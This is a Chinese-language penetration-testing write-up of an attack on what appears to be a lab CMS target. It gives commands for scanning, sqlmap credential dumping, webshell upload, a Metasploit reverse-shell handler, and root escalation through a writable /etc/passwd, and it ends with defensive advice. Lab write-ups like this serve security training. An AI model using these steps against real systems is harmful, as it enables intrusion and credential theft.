记一次cms渗透测试
字数 1056 2025-08-05 08:19:29

CMS渗透测试实战教学文档

一、信息收集阶段

1. 网络扫描

  • 主机发现:使用Nmap扫描目标网段,识别存活主机

    nmap -sP 10.10.10.0/24
    
  • 端口扫描:对特定IP进行端口枚举和操作系统识别

    nmap -sT -O 10.10.10.128
    

2. 网站目录枚举

  • 使用DIRB工具进行网站目录爆破

    dirb http://10.10.10.128
    
  • 使用专业扫描工具:

    • 椰树扫描器:进行漏洞扫描和目录信息收集
    • AWVS扫描器:进行全面网站扫描

二、漏洞发现与利用

1. SQL注入漏洞

  • 发现注入点:http://10.10.10.128/se3reTdir777/

  • 使用SQLMap进行自动化注入:

    sqlmap -r /root/2.txt --dump -D aiweb1
    
  • 获取的数据库凭证:

    • 账号: t00r 密码: FakeUserPassw0rd
    • 账号: aiweb1pwn 密码: MyEvilPass_f908sdaf9_sadfasf0sa
    • 账号: u3er 密码: N0tThis0neAls0

2. 信息泄露

  • 通过目录枚举发现phpinfo页面,暴露网站根目录:
    /home/www/html/web1x443290o2sdf92213
    

3. 文件上传漏洞

  1. 使用SQLMap的--os-shell功能尝试获取网站路径
  2. 通过枚举找到上传路径
  3. 上传WebShell:
    • 小马(用于连接中国蚁剑)
    • 大马(用于文件管理)
  4. 通过WebShell发现数据库配置文件,获取更多凭证

三、权限提升

1. 获取交互式Shell

  • 当无法直接获取交互式Shell时,使用Python生成:
    python -c 'import pty;pty.spawn("/bin/bash")'
    

2. 反弹Shell技术

  1. 准备PHP反弹脚本
  2. 设置监听:
    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 10.10.10.129
    set lport 8080
    run
    

3. 创建特权用户

  • 当发现/etc/passwd可写时,使用OpenSSL创建用户:

    openssl passwd -1 -salt xxxxxxxx password
    

    输出示例:$1$xxxxxxxx$UYCIxa628.9qXjpQCjM4a.

    参数说明:

    • -1:使用MD5加密
    • -salt:指定盐值
    • 输出格式:$id$salt$encrypted$id=1表示MD5算法)

4. 提权操作

  1. 切换到交互式终端
  2. 尝试切换为root用户

四、渗透测试总结

  1. 优先获取WebShell:通过文件上传、SQL注入等方式获取服务器控制权
  2. 备选方案
    • 在有上传功能的地方上传反弹Shell脚本
    • 利用系统、服务器、第三方软件或数据库漏洞获取Shell
  3. 信息收集是关键:全面收集信息有助于发现更多攻击面
  4. 权限提升路径:从Web应用漏洞到系统级权限的完整攻击链

五、防御建议

  1. 定期进行安全扫描和渗透测试
  2. 加强输入验证,防止SQL注入
  3. 限制文件上传功能,对上传内容进行严格检查
  4. 避免敏感信息泄露(如phpinfo、配置文件等)
  5. 保持系统和应用软件及时更新
  6. 实施最小权限原则,限制Web服务器的权限
CMS渗透测试实战教学文档 一、信息收集阶段 1. 网络扫描 主机发现 :使用Nmap扫描目标网段,识别存活主机 端口扫描 :对特定IP进行端口枚举和操作系统识别 2. 网站目录枚举 使用DIRB工具进行网站目录爆破 使用专业扫描工具: 椰树扫描器:进行漏洞扫描和目录信息收集 AWVS扫描器:进行全面网站扫描 二、漏洞发现与利用 1. SQL注入漏洞 发现注入点: http://10.10.10.128/se3reTdir777/ 使用SQLMap进行自动化注入: 获取的数据库凭证: 账号: t00r 密码: FakeUserPassw0rd 账号: aiweb1pwn 密码: MyEvilPass_f908sdaf9_sadfasf0sa 账号: u3er 密码: N0tThis0neAls0 2. 信息泄露 通过目录枚举发现 phpinfo 页面,暴露网站根目录: 3. 文件上传漏洞 使用SQLMap的 --os-shell 功能尝试获取网站路径 通过枚举找到上传路径 上传WebShell: 小马(用于连接中国蚁剑) 大马(用于文件管理) 通过WebShell发现数据库配置文件,获取更多凭证 三、权限提升 1. 获取交互式Shell 当无法直接获取交互式Shell时,使用Python生成: 2. 反弹Shell技术 准备PHP反弹脚本 设置监听: 3. 创建特权用户 当发现 /etc/passwd 可写时,使用OpenSSL创建用户: 输出示例: $1$xxxxxxxx$UYCIxa628.9qXjpQCjM4a. 参数说明: -1 :使用MD5加密 -salt :指定盐值 输出格式: $id$salt$encrypted ( $id=1 表示MD5算法) 4. 提权操作 切换到交互式终端 尝试切换为root用户 四、渗透测试总结 优先获取WebShell :通过文件上传、SQL注入等方式获取服务器控制权 备选方案 : 在有上传功能的地方上传反弹Shell脚本 利用系统、服务器、第三方软件或数据库漏洞获取Shell 信息收集是关键 :全面收集信息有助于发现更多攻击面 权限提升路径 :从Web应用漏洞到系统级权限的完整攻击链 五、防御建议 定期进行安全扫描和渗透测试 加强输入验证,防止SQL注入 限制文件上传功能,对上传内容进行严格检查 避免敏感信息泄露(如phpinfo、配置文件等) 保持系统和应用软件及时更新 实施最小权限原则,限制Web服务器的权限